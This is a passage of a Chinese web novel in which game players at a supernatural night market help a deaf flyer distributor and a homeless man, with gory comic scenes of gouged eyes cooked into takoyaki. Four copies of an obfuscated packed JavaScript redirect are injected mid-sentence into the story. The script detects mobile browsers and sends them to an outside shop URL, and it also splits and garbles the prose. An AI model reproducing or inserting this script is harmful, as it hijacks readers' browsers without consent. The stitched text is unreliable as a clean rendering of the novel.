宋须满将□□收了回去,收获到叶詺的赞叹:“满姐,你的道具好多!看来被道具店坑了不少钱,以后记得来我这买啊!” 宋须满该如何向他解释呢,这只是用大饼画出来的,本质上还是大饼,起到一个造型上的作用这样的。 袁思竹的左眼已经不流血了,她移开手,眼眶里空空荡荡,莫名有些可怕,像个无底的黑洞。 【请移步鑫春路87号下的桥洞进行休息。】 袁思竹是听不见的,好在系统播报的同时有文字显现。 “我的任务好像完成了!系统叫我去桥洞下休息!”袁思竹真是体会不到自己的声音到底有多大!简直要把人震聋,这也是失去听力后没有安全感的一种体现吧。 宋须满表示理解,但她的耳朵和叶詺的耳朵表示不理解。 宋须满刚想在传单上写字和袁思竹交流,结果摸了个空。 她的表情变得严肃起来,叶詺忍不住紧张道:“怎么了?” “我把传单全塞给那个人了。”天塌了,真的塌了,叶詺的天也塌了,他的眼神甚至不住地往装着袁思竹眼珠子的传单盒子看。 “很好,我刚刚想起来,揍他揍得不够狠,只留下两个眼珠子算什么?”她邪魅一笑,朝着那人离去的方向跑去。 留下叶詺一人面对袁思竹响震天的疑问。 不一会儿,宋须满带着两个眼珠子和一张传单风风火火来了。 叶詺指着两个□□弹弹的眼珠子:“你去拿个传单,还附赠两个眼珠子?” 宋须满一边在传单上写写画画,一边随口回答:“谁知道他又长出两个眼珠子,只要了两个,真是亏啊!” 袁思竹在那大声问:“什么?” 叶詺捂住双耳,痛苦面具。 宋须满举起传单,袁思竹看完后满脸通红,音量终于变小了:“不好意思啊,我这是第一次失聪。” … 鑫春路87号是一条河,河上有一座破破烂烂的桥,桥下有个破破烂烂的洞。 三人小心翼翼攀着陡峭的墙壁往下爬。 几个衣着破烂的人正围着另一衣着更加破烂的人拳打脚踢。 “你不是很爱乐于助人吗?拿出点钱帮帮哥几个呗?” “你那个聋子兄弟今天不在啊,让你一个人被打,真是可怜。” “你们和一个聋子废什么话?打到他拿出钱为止!” 那群人嬉笑几声,又要对地上那人拳打脚踢。 “住手!”宋须满大喝一声。 那群人回过头,脸上带着脏污,污浊的眼睛像死去的鱼,简直如出一辙。 看到宋须满,有人不屑地嗤笑。 但看到宋须满身后的叶詺和袁思竹,那些人…… 不屑的更明显了。 “一个娘们,一个黄毛,一个……”领头那人直接笑出了声,“懦弱的没了一只眼睛的聋子。” 叶詺很愤怒,不是因为那个看起来破破烂烂的流浪汉把他耀眼高贵的金毛说成了黄毛。 也不是因为他们用轻蔑的眼神看一个年轻有为的成功商人。 好吧,其实就是! 他可以接受被人打,但是不能接受有人如此侮辱他! [“陪葬”:我的自尊心死了,我要你们陪葬!我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13628115|142861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 强大的内心被摧毁了,我要你们陪葬!我美好的乌托邦凋零了,陪葬!陪葬!通通给我陪葬! 说明:不要误会,这里不是陪葬文学。我们只是借鉴了一下其他文学的优秀传统。玩家可指定最多五人(非玩家)原地“去世”,但该效果将在一小时后消失。陪葬有害,请勿轻易陪葬!] 不愧是卖道具的,这稀奇古怪的道具,宋须满在道具店都没见过。 只见那满脸不屑的流浪汉,不多不少,正好五人,一瞬间直直倒了下去。 宋须满无感情地捧场:“原来这就是原地去世!詺哥你也太牛了,不愧是成功人士。” 你叫我姐,我喊你哥,咱们两各论各的。 叶詺得意地甩了甩一头金发,看起来还真像那么个样子。 地上的人挣扎着爬起,他被打肿的双眼眯成一条细细的缝,视线略过宋须满和叶詺,直直定在了袁思竹身上。 他对着袁思竹手指翻飞,看起来是在打手语。 袁思竹看懂了。她是个律师,先前由于接过一个听障人士的案子,所以对手语有一些涉猎。 还真是应了那句话,你所学习的东西都不是没有用的,因为你不知道它们会在哪一天派上用场,帮你一把。 袁思竹点头点头,然后转告宋须满和叶詺:“他叫我杜成建,让我不要回来了,这里不安全,那些人总欺负我们。” “可是系统要求我在这休息……”她很为难。 “没什么大事,把那些人绑起来就好了。”宋须满跃跃欲试。 在等待的过程中,袁思竹通过对方的手语得到了一些信息。 对方是这里的“常驻”流浪汉,后来来了其他年轻力壮的流浪汉,他就开始被欺负。 再后来,失去了一只眼睛并且是听障人士的杜成建流浪到此地。 然后两个残疾人一起被欺负。 “太过分了!”宋须满内心有什么东西正雄雄燃起,原来是她那颗正义之心! “抢别人地盘还要欺负别人。天杀的,那道具就不能真的让他们原地去世吗?”叶詺很是后悔,为什么不用上更加厉害的道具。 等五人醒来,面对的是宋须满和叶詺狰狞的面孔。 可是,还没等二人出手。 一道灰扑扑的身影裹挟着腥臭的味道飞过,是那个和袁思竹打手语的流浪汉。 他要干什么? 很快,他们的疑惑便得到了解答。耳朵听不见的流浪汉伸出裹满黑泥的手指,缓缓的,慢慢的…… 触碰到了其中一个人的眼睛,他的手指对准眼眶边缘,狠狠戳了进去。 被绑着的人疯狂挣扎,却没什么用。 一颗圆滚滚的眼球带着血丝从他的眼眶里被挤压出来,像是挤压一颗饱满的葡萄,甜润多汁,轻轻挤压,青色的果肉脱离薄薄的皮而出…… 他痛苦尖叫,被生生挖了眼睛,黑漆漆的眼眶中流出鲜血。 流浪汉将五个人的眼睛全都挖了出来,他一只手上盛着10只圆滚滚的眼睛,另一只手对着袁思竹打着手语。 “拜托……帮我去买……一份章鱼小丸子。” 27. 深夜小吃街(七) 章鱼小丸子?小吃街有这东西吗? 宋须满思来想去,苦思冥想。很可惜,章鱼小丸子并不存在于她短暂的记忆中。 袁思竹接过流浪汉手上的10个眼珠子,说实话,她有点懵。 接过眼珠子的动作完全是下意识的,滑溜溜冰凉凉黏腻腻的触感。 她这辈子都不想体验第二次! … 又回到了小吃街,宋须满不禁诗兴大发:“少小离家……” 可惜叶詺没有一点品,他一点品都没有! “满姐!快看他手上拿着的是什么!”金毛少年咋咋呼呼,指着一个路人大喊。 叶詺成功打断了宋须满的雅兴,偏偏他还不自知。 路过那人手上拿着个小盒子,盒子里塞满了圆滚滚的小丸子。 那小丸子外酥里嫩,咬起来咔兹作响。 淋着红白相间的酱汁,撒着厚厚的木鱼花。 香气飘过来,激起人想要吞咽的冲动。 “咕咚。”也不知是谁在吞口水。 宋须满拦住了他,礼貌问道:“小吃街还有卖章鱼小丸子吗?” 路人挥舞着四只手,每条手臂分别指向了东南西北四个方位。 “有啊,就沿着这个方向走。” 宋须满:这人是吃章鱼小丸子吃中毒了? 她表情未变,缓缓从背后掏出了什么.。 然后…… “咣——” “请问您可以好好指路吗?”她微笑着,但这笑容怎么看怎么诡异。 因为她的大饼还镶嵌在可怜路人的头上。 有三只手“嗖”地一下缩了回去,只剩下一只指着南面瑟瑟发抖的手。 宋须满和颜悦色地将卡在那人头中的大饼拔出来:“谢谢。” 路人挥舞着手臂跑了,章鱼小丸子滚落在地,粘上灰尘停下。 而后被那人慌乱逃跑的脚步踩碎。 “噗呲——” 章鱼小丸子惨叫出声,留下它在这世间的最后一句话。 随着喷溅出的粘稠猩红液体,章鱼小丸子,卒于深夜一条街,享年5分钟。 “咦~”那液体溅到叶詺的鞋子上,他嫌弃地试图将它除去。 可惜没除掉,这东西太黏黏糊糊了,并且散发着一股怪味。 原来加那么多的料是为了掩盖这腥臭味吗? 沿着南边一直走,小摊变得稀稀疏疏,人也越来越少。 如果将进入小吃街的路口比作喧嚣的闹市,那么这里就是清冷的郊区。 就连小吃摊上闪闪发光的小灯也变得微弱,让人看不清路。 而在黑暗的尽头,有一个小摊子,头顶上有一盏微弱的灯光。 灯光照耀的地方站着一个人,他的左眼缠着布条,正在低头忙碌着。 宋须满对他印象深刻,他曾经来大饼摊咨询过问题。 “人生下来就是为了吃苦的吗?” 不过很可惜,当时的她并不能给出回答。当然,现在的她也不能。 “人生不止吃苦,还有诗和远方”如果这样回答,似乎太过于轻飘飘,宋须满不知道该如何回答这个问题。 似乎是三人的影子闯进了他的视线范围,他缓慢抬头,像个被牵引的木偶。 他没有说话。也是,要是天生听不见并且没有经过专业的训练,听障人士一般不会讲话。 并非嗓子的问题,而是耳朵的问题。 听不到世界的每一种声音,感受不到世界的每一次响动,如何能准确地回应呢? 他指了指摊子边上一个放着几张纸币的小破碗,示意将钱放在里面。 然后指了指价格表,示意他们点餐。 宋须满靠近了一点,她的影子几乎爬上摊主的身体,在阴影中,他显得更加不起眼。 [章鱼小丸子,请自带材料,一百元一份,一份十个。] 只有短短一句话,没有给人选择的余地。 宋须满在原本用作和袁思竹交流的传单上写:“可以要一又二分之一份吗?” 摊主点头,看来是可以的。 他们如今有整整十五个眼珠子,包括一个袁思竹的左眼珠子。 叶詺眼珠子都要掉出来,他指着袁思竹:“她的眼珠子还在里面啊!” 宋须满一副高深莫测的表情:“我自有打算!” 眼珠子掉了又不能直接装回去,这个选择,也许反而是最好的。 袁思竹一脸茫然,可怜的她完全不知道自己的眼珠子即将要变成章鱼小丸子了。 摊主接过十五个眼球,然后开始了他的工作。 先是在半球体的容器内倒入面糊,然后放入洋葱、章鱼脚等食材,最重要的,还有一颗眼球。 眼球在高热下迅速缩小,为面糊争取到最大的空间,真是个懂事的眼珠子! 盖上另一半容器,等待几分钟,热腾腾的章鱼小丸子出炉了。 摊主在小丸子上盖了厚厚一层木鱼花,酱汁不要钱地往上倒。 “谢谢。”袁思竹对着摊主打了个谢谢的手语。 摊主麻木的表情出现了变化。 他微微张着嘴,眼里满是不可置信。 按理说,听障人士对于手语是很熟悉的,至少看见了也不会惊讶。 而他正好相反,表现出来的样子好像没见过别人打手语似的。 他的动作不再僵硬,灵巧地对着袁思竹,手指上下翻飞。 “他说了什么?” “……吃下去,你的眼睛会好的。” 袁思竹看着散发着诱人香味的章鱼小丸子,却忍不住想吐。 蒸腾热气中萎缩的眼珠子在她的脑海中萦绕不去。 宋须满快速从一堆章鱼小丸子里择出一个递到袁思竹的嘴边。 她记住了袁思竹眼珠子的位置,给她吃的,就是她自己的眼珠子。 袁思竹欲吐又止,她给自己洗脑:“这是章鱼小丸子,不是我眼珠子。这是章鱼小丸子,不是我眼珠子……” 这是我眼珠子,不是章鱼小丸子! 袁思竹的嘴欲张又止,宋须满突然往天上一指:“看!飞碟!” 虽然袁思竹听不见,但是她本能地朝着天上看去。 然后,她后悔了。原来在人抬头时,嘴巴真的会不自觉张开…… 她机械地咀嚼着会爆汁的章鱼小丸子,流下了悔恨的泪水。 当然,她不是唯一的受害者。 叶詺在宋须满说出“飞碟”时,就像DNA动了一样,仰着头四处寻找。 直到袁思竹黑漆漆的眼眶中重新长出眼球,他还在天上寻找着。 宋须满拿着个章鱼小丸子就要往他嘴里塞。 叶詺迅速后退,与宋须满拉开距离,他泪眼汪汪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13645092|142861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“满姐!你怎么能这么对我?我们不是最好的伙伴吗?” 宋须满不知道啥时候和他成最好的伙伴了,但是她知道,叶詺的眼神真的不太好,不过也有可能是脑子。 早知道劝他吃豆腐脑补补了。 宋须满简直追悔莫及,活像追妻火葬场中的白眼狼丈夫和儿子。 在失去后撕心裂肺,痛彻心扉,悔得肠子都青了。 “满姐,你在想什么?”见宋须满一会儿叹气一会儿奇怪地看着他,叶詺不禁有些毛骨悚然。 “在想豆腐脑。” ……豆腐脑?!叶詺表示不想听。 … 拿到章鱼小丸子,接下来要去找桥洞下的流浪汉。 流浪汉背对着他们,在一个小角落捣鼓着什么。 周围弥漫着血腥味和垃圾发馊的味道,就连无形的空气似乎都被染上了肮脏的颜色。 直到他们走到流浪汉的身后,他也没有反应。 袁思竹上手触碰了一下他的肩膀。 他转过身,袁思竹漂亮的双眼对上两个黑漆漆的窟窿。 流浪汉的眼睛没了,眼球不知道哪去了,他的脸上印着两道深深的血痕,好像不止是留下干涸的鲜血,那里的皮肉翻开,露出皮下红色的组织。 他这一转身,露出了身后的东西。 那东西好像是……一坨人? 人的肢体堆积成的“小山”,不安分地伸出过长的手臂或扭曲的大腿。 宋须满不合时宜地想,真像个螃蟹。再次不合时宜地想,下一秒会不会像螃蟹一样动起来呢? “小山”旁整整齐齐摆着五个没有眼睛的人头。 流浪汉伸着头凑近袁思竹,似乎在分辨。 良久,他露出一个笑容,对着袁思竹打起手语。 “成建,我把欺负我们的人都杀了……” 有了两只眼睛就是不一样,袁思竹翻译手语都翻译得更快了。” “我的章鱼小丸子呢?” 宋须满将装有章鱼小丸子的盒子放在流浪汉手中。 她这才注意到,装着章鱼小丸子的盒子似乎是自己设计的。 可爱的一只眼缠着绷带的卡通小人露着大白牙笑,举起一个大大的大拇指。 小人的耳朵上似乎有什么东西,围裙上写着两个字——成实。周围的空白处画着五彩缤纷的花朵。 成实?是错别字吗? 流浪汉深深吸了口气,脸上露出幸福的笑容。 他打开盒子,开始大快朵颐。 “噗呲噗呲——” 章鱼小丸子在嘴里爆汁,口感丰富,流浪汉黑漆漆的眼眶里开始慢慢长出眼球,脸上深深的伤痕慢慢愈合…… 他咀嚼着章鱼小丸子,明明在笑着,长出眼球后,眼睛却在哭。 他抚摸着空盒子上的卡通小人,对着袁思竹打着手语。 “对不起……不要自责……” 流浪汉紧紧抱着那空空的盒子,他的力气太大,盒子被压成扁扁一张纸贴在他胸口。 他的嘴巴张张合合,似乎在说些什么,但是听不清,没人听到他胸腔震动后发出的不标准的音节。 就像这个世界,从未有人教过他如何发音,从未有人倾听过他的声音。 没有人知道发生了什么,因为一阵风吹过,原地只留下卡通小人笑着的脸,在空中悠悠飘落。 28. 深夜小吃街(八) “他消失了……”袁思竹脱口而出。 然后她不可思议地捂住自己的耳朵,激动道:“我好像……能听见了!” 袁思竹的听力,从流浪汉消失的那一刻开始就恢复正常了。 【玩家[你不要和我抬杠],完成派单员工作,获得工资3000元。】 宋须满捡起落到地上的卡通小人,心情有些复杂。 流浪汉消散之前的表情太过于幸福,与他沾满血污的脸形成极大的反差,给人以极大震撼。 “接下来只要在章鱼小丸子摊位进行消费就行了吧?”叶詺看起来很开心的样子,“就和我那时候一样。” … 小吃街依旧热热闹闹的,不论过了多久,这里都是夜晚,看来太阳并没有眷顾这个地方。 但小吃街亮着长长的灯,就像是另一个“白昼”。 人群的喧嚣逐渐远去,“白天”逐渐转为黑夜。 杜成建沉默地坐在黯淡的灯下,像一尊雕像。 袁思竹拿着三千块就上去了,她用手比了个1,然后把钱放进碗里。 杜成建没有动,他垂着头,让人看不清神情。 宋须满将卡通小人放进碗里,杜成建终于有了动静,他缓缓抬起头。 所有人都被惊了一下,因为杜成建左眼的布条不见了,空荡荡的眼眶就这样暴露着。 从那黑漆漆的眼眶里,突然滋出猩红色的液体,正站在摊位前的宋须满和袁思竹躲闪不及,液体滋进双眼,只感觉两眼一黑。 而站在距离章鱼小丸子摊位足足有五米的叶詺…… 他的眼睛也被那液体滋中了。 渐渐的,右眼不再黑暗,而是恢复了模糊的视力。而左眼也不再黑暗,因为它甚至看不到“黑暗”,那是一片令人恐惧的“虚空”。 模糊的视线突然向右旋转,等稳定下来,左眼突然变得很难受。 一大汉一拳打在了他的左脸上,嘴唇上下碰撞,唾沫横飞,狰狞的面孔于他而言并不陌生。 可惜他的世界是一片寂静,他不明白发生了什么,于是他只能茫然地捂着左眼。 明明只是把一张传单递了出去,为什么左眼突然看不见了? 毫无意外,他失去了派单员的工作。毕竟,他们能接受一个听障人士已经是破例了,更何况现在他的眼睛还瞎了一只。 真是讽刺啊,传单上的“三心会”,爱心,真心,感恩之心……这些“心”,底层人难道不配拥有吗? 没有办法了,收拾收拾去住桥洞吧。 像他这样的残疾人,就应该像阴沟里的老鼠一样,活在见不到光的地方,这是现实告诉他的,用最残忍的方式。 小实是个好人,他也一样听不见。 小实说这桥洞是他的地盘,但是又经常收留无家可归的人。 小实说自己很厉害,可以保护他,但是他自己经常被人打得满身是伤。 小实教他手语,给他食物。 他也想回报些什么,但是他拥有什么呢? 花花绿绿的鑫鑫大厦传单从高高的大桥之上飘落,落到他的脚边。 [入驻即给50万元奖金。] 有了,这样不就可以报答小实了吗?小实曾经夸奖过他的炸丸子做得很好吃。 不过小实不愿意和他走,他说自己已经习惯于住在这里了。 他就只能自己走了,等有了这些钱,他可以买助听器,这样小实就不会被人嘲笑了。 可是为什么,当他带着助听器回来的时候,小实满脸血污地倒在地上,双眼被挖走,气息全无,甚至已经招来苍蝇了呢? 有什么意义?上帝什么也没有给他,如果给了什么,那也是要拿走的。 他一生下来,就是为了吃苦的吗? … 无声的质问震耳欲聋,宋须满模糊的眼睛逐渐变得清晰,她的视线聚焦于放在一堆颜色灰暗的冥币之上的卡通小人。 小人颜色鲜艳,笑容满面,毫无疑问,是整个摊位唯一的亮色。 那代表着美好,希望,乐观,他的心愿…… 杜成建从围裙的兜里摸出一张皱巴巴的纸条。 “人生下来就是为了吃苦的吗?” 他指了指问题下面的一行字,那是宋须满的字迹。她承诺过,可凭借这张纸再来大饼摊咨询。 虽然这里不是大饼摊,但宋须满已经有了答案。 “人生下来不是为了吃苦的。”她将层层叠叠冥币上的卡通小人拿了起来,“你不是早已有了答案吗?” 你会精心设计包装,会在小人身上倾注你所有的期望,会在空白处种上五彩缤纷的小花。 你希望拥有笑容,你希望拥有能倾听世界的耳朵,你希望成建和小实能永远在一起…… “你是为了幸福啊,人生下来,是为了幸福啊。” 不要把目标与过程搞混了。或许会吃苦,或许会一直吃苦,但那不是目标,而是必经的过程。 也许有人就这么吃一辈子苦,苦苦地死去,然后变成苦苦的骨灰。 但是,他们生下来不是为了吃苦的。没有人是专门为了吃苦而生存在这个世界上,活着的动力,永远都是追求幸福。 杜成建没有说话,毕竟他也不会说,他接过宋须满手中自己一笔一笔画下的,承载了他所有追求的卡通小人。 是啊,他不是为了吃苦才被生下来的。 袁思竹触碰了他的肩膀,然后打起了手语。 神情一直都很平静的杜成建双颊开始抖动,晶莹剔透的东西从眼眶中滚落。 不要误会,滚落的不是晶莹剔透的眼珠子,而是眼泪。 袁思竹将小实最后的手语传递给了他:“对不起,不要自责。” 他们实在没能看清小实最后开合的嘴唇是什么意思。 因此也不能进行传达,那句未被世界记录下来的话到底重不重要,已经不重要了。 在杜成建流泪之前,袁思竹早就开始流泪了,特别是打手语的时候,几乎是磕磕巴巴。 先前不理解那句话的意思,在看过了杜成建的回忆后,她已经完全明白了。 对不起,因为没有勇气和你一起出去,也没有等到你。 不要自责,我的死不是你的错。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13660301|142861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>再想到第一次见到小实的时候,他被一群人围在中间殴打,沉默地被殴打。 袁思竹真的有些忍不住,她的情感一直很丰富。即使是在做本职工作的时候。 即使一直有人嘲讽她:“一个女生当什么律师,女的就是不如男的理性。” 这句话她都听倦了,她不辩解,因为事实会证明一切。 她总会在庭审时一边坚持着自己的“感性”,一边将那些“理性”的男律师堵到说不出话来。 他们所谓的“理性”,不过如此。 她从来都不认为这是缺点,相反的,这太重要了。 对于没有钱请律师的人来说,这太重要了。 杜成建让她想起自己接过的一起听障人士的案子。 公司故意招募残疾人营造完美的慈善家身份,在发达后,就把残疾人全部开除了。 她看着那人苍老的脸,微微蜷缩着的身子,无偿地接了这个案子,为了和委托人交流,她甚至抽时间自学了手语。 那是她打得最有成就感的一起案子,她记得那人最后笑着流着眼泪,对她反复打着的手语:“谢谢你。” … 杜成建不再流泪,他从摊子后面拿出了一份章鱼小丸子,然后递给了袁思竹。 袁思竹有些诧异,这看起来像是早就准备好了的。 【玩家[你不要和我抬杠],已达成通关条件,可在副本时限之前随时脱离副本。】 袁思竹拿着那章鱼小丸子丢也不是,拿也不是。 杜成建看着袁思竹的眼睛,那是一双很漂亮的眼睛,他翻动着手。 “这是正常的,没有眼球。” 袁思竹对着他“说”:“谢谢。” 她打算立马脱离副本了:“谢谢你们,要是没有你们的帮助,我很可能找不到通关办法。回去之后可以加我,我叫[你不要和我抬杠],要是有需要帮忙的地方,尽管来找我。” “我没和你抬杠啊。”叶詺好像走神了,只听到了个玩家名。 袁思竹欲言又止,下一秒,她退出了游戏。 “我真没和他抬杠啊!”大晚上的,叶詺心里冷冷的。 宋须满用一种后悔的眼光看着他,也不知道是不是又想起了豆腐脑。 虽然袁思竹走了,但游戏还是要继续的。 两人正要往回走,这才发现小吃街的中心正在往上冒着浓浓的黑烟。 有个人气喘吁吁地跑过来:“着火了!着火了!” 宋须满急忙拉住他询问是哪里着火了。 那人努力回想,表情像便秘了一样:“……呃,那个摊子我也不知道是干啥的,都没人在,看起来也很破,生意不太好的样子,不知道怎么入驻的……” 一股浓浓的不详预感不受控制地生起。 不会吧?不会吧?!不会吧! 不会吧副本,这着火的不是我家大饼摊吧? 会的。 宋须满看着熊熊燃烧的大饼摊,本来就只有几块木板,这下就连木头都没了! 没有木板的大饼摊就是一盘散沙,风一吹就散了,物理意义上的散了。 29. 深夜小吃街(九) 叶詺小心翼翼地观察着宋须满的脸色:“这说明你的大饼摊是真火啊哈哈。” 这条小吃街,没有比她的大饼摊更加火爆的摊位了。 虽然是物理意义上的火了。 隔壁摊位的刘淑芬举起大铁锅,一坨巨大的豆腐脑从天而降,将火给扑灭了。 宋须满有些诧异:“你的豆腐脑……” 刘淑芬却笑着摆了摆手:“我已经打算离开这里了。” 宋须满点点头:“一路顺风。” 其实她早有预感,对于刘淑芬来说,只有离开小吃街,才能开启新的生活。 “满姐!你快来看,地上这是什么?”叶詺捡起大饼摊废墟上一个东西,大呼小叫。 他将眼睛凑近手上的东西,那是个指尖大小的焦黑东西,看不出来是什么。 他又将鼻子靠近嗅了嗅:“这好像是……烟头。” 烟头?谁会把烟头丢在空无一人的大饼摊?她的生意又不好,除了她在这进行问题指导的时间以外,其他时候基本上属于经营惨淡的状态。 而且她的大饼摊又破、又难吃、又不起眼…… 虽然宋须满很不想承认,但是事实就是如此。 有人故意烧了她的大饼摊!她的脸就和大饼摊留下的废墟一样黑,令叶詺不敢说话。 距离完成副本任务,又退了一万步呢。 正在往外走的刘淑芬突然猛回头:“那个三轮车我也不要了,留给你吧。” 刘淑芬的“摊位”,其实就是一辆三轮车假扮的,直接在三轮车后座放上两桶豆腐脑,就可以充当摊位了。 刘淑芬离去的背影简直像个女英雄。 宋须满好想大喊:“姐!你是我唯一的姐!” 但是刘淑芬已经走远了,除了慷慨大义的一句话,她什么也没留下。 【玩家[画大饼之神]已解锁摊位新形态!恭喜恭喜!】 宋须满:真是神如金,疯如癫。 这难道是什么很值得恭喜的事情吗? 好在系统重新将需要的东西变到了三轮车上。 宋须满的大饼摊换了个位置,但其实也没怎么换。 她重新搞了个牌子,写上“买大饼送问题指导”几个大字,这可是她真正的招牌,谁没了也不能没有它! 价目表上出现了一行字。 [油饼33元。] 宋须满:“没了?” 叶詺眯着眼睛从不同角度看了好几遍,得出了最终的结论:“没了。” 在宋须满脸色黑得变成锅底之前,从大饼摊旁边缓缓升起一个油锅。 这还差不多。 摊大饼的工作还是交给叶詺,宋须满在问题指导的牌子后面等待客人。 来的人有些多,她怀疑是那些来过的客人把她推荐出去了。 宋须满牌大饼,吃过的都说好! “我太爱我的男朋友了怎么办?总感觉自己配不上他……” 情感类问题,人类永远对此怀有八卦之心,叶詺一边摊大饼一边偷偷往这边瞅。 “鉴定为ppt,分!”宋须满眼皮都没抬。 叶詺着急将大饼翻面,还要分心朝她这边喊:“你听听啊!” “……好吧,你继续说。” 红衣女鬼泪眼婆娑:“他说喜欢朱砂痣,我就用血把衣服染红了。结果他现在又说喜欢白月光……我永远也变不成他喜欢的样子。” “鉴定为渣男,他配不上你,分!下一个。” “我怀疑我家闹鬼了。”那人神神秘秘,全身裹着黑纱,看不清面孔。 宋须满:? “真的闹鬼了!每次我回家,都会在门口发现一双不属于我的红绣鞋……” “而且家中的装修也不是我家的,天呐,那就像那个鬼新娘的家!” “有没有一种可能呢?我是说一种可能,你走错屋子了。” 那人拍了拍脑袋,恍然大悟:“我回去看看!” 宋须满目送着那人快速飘远了。 “好难啊啊啊!我不想写作业!”哪里来的声音?宋须满左看右看,没有看见人,真的闹鬼了? 原来是一个小孩努力将头往上伸。 努力是努力了,可惜他还是太矮了,再怎么努力,他的头顶都露不出桌面半点。 没办法,小孩将自己的头摘下来放到了桌上,幸好没有流血,不然这桌子怕是又要换新了。 宋须满看着那稚嫩的小孩头。 小孩头痛哭流涕:“什么是定积分,什么是不定积分,我分不清,我真的分不清啊!” 宋须满震惊,这里的教育已经发展到这种程度了吗,真是恐怖如斯。 宋须满安慰道:“我也分不清,别哭了,快回家写作业吧!” 小孩头哭得更大声了,随后被听到哭声赶来的家长揪着耳朵带走了。 “你看看隔壁老王家的孩子,人家……” “……下一个。” 那人蹦蹦跳跳地来了,看面孔是老熟人了。 他点着头:“鬼市,可怕,不敢。” “不去,不去。”宋须满疑似被传染,也开启了这种说话模式。 那人即将要说些什么,左边的街道突然传来一阵喧闹。 眼前摊位的好多人迅速散开,直奔那喧嚣之处去了。 “这是怎么了?”叶詺迷茫地拿着铲子,鏊子上的面糊已经成型,它马上就要成为一个真正的大饼了!但是顾客跑了! 此刻的他,活像辛辛苦苦做了一桌子菜等着丈夫回家,却发现丈夫去了别人家里吃饭但是没有告诉她一声的家庭主妇一样,迷茫而又无助。 大饼做了一半,他居然跑了!并且是毫不犹豫,毫无留恋地跑了。 下一位排队的顾客捶胸顿足:“慢了一步,慢了一步啊……” “这是怎么了?”叶詺询问道。 顾客脸上满是悔恨的泪水:“刀刀刀削面来了,我怕是赶不上了。” “你不要伤心,看你都伤心到结巴了,慢慢说。”叶詺安慰道。 顾客白了他一眼:“什么结巴?你不要凭空侮人清白!” 最后一个顾客也走了。 大饼摊冷冷清清,不,不止是大饼摊,就连目之所及的摊位都是冷冷清清。 究竟是怎样的刀削面,能让所有顾客趋之若鹜? …… “走!我们去看看。” “我,我。”老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13667587|142861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 熟人还没走,但是宋须满得走了。 她拉着叶詺头也不回:“你先回去吧,欢迎下次再来。” 他们直奔喧嚣处去了,老熟人还在原地念叨着:“鬼市,鬼市……” … 要说这“小吃一条街”最受欢迎的美食是什么,十个人里有十一个人会说,是这“刀刀刀削面”。 要是你问十个人里哪来的十一个人?那么恭喜你,你的逻辑推理能力非常出众,可惜记忆力不太好。 你还记得,袁思竹发传单时遇见的鬼吗? 刀刀刀削面的火爆,那是众所周知的。 以至于老板一周才出一晚摊,也能够赚到很多人出一个月摊的钱。 这简直令人恨到牙痒痒,对于消费者,恨他出摊时间太少。对于同样摆摊的摊主,恨他太会赚钱。 二人来到人群之外,宋须满发出了表情包般的感叹:“好多人啊……” 人群里三层外三层将刀削面摊包围了。 根本看不清!一眼望去全是脑袋,大的小的,方的圆的,头发茂密的稀疏的…… 宋须满眼珠子一转,示意叶詺蹲下去。 叶詺一边蹲下身去一边说:“不会吧不会吧满姐,你真的要这么对我吗?我就是你的一个工具人而已,你从来没有正眼看过我……” 但是他的动作那叫一个配合,他微微屈下身子,宽阔的肩膀看起来很有安全感。 少年的力气还挺大,轻轻松松就将宋须满举了起来。 看清了! 刀削面摊和其他摊位没什么两样,特别的是摊主,他身材魁梧,肌肉隆起,感觉快要撑开皮肤了。 他目测快要接近两米,头已经要顶到摊位最上方挂着的灯泡了。 如果宋须满没有看错的话,他右侧的袖管随风荡起,下面空空荡荡,什么也没有。 此刻,他正不断用刀削着手臂粗细的圆柱形的白色物体,应该是面团? 就算是高于所有人,宋须满依旧位于最外圈,其余的看不清了。 奇怪的是,他每削下一小块长条面团,四周的人群就会爆发出一阵热烈的喝彩声。 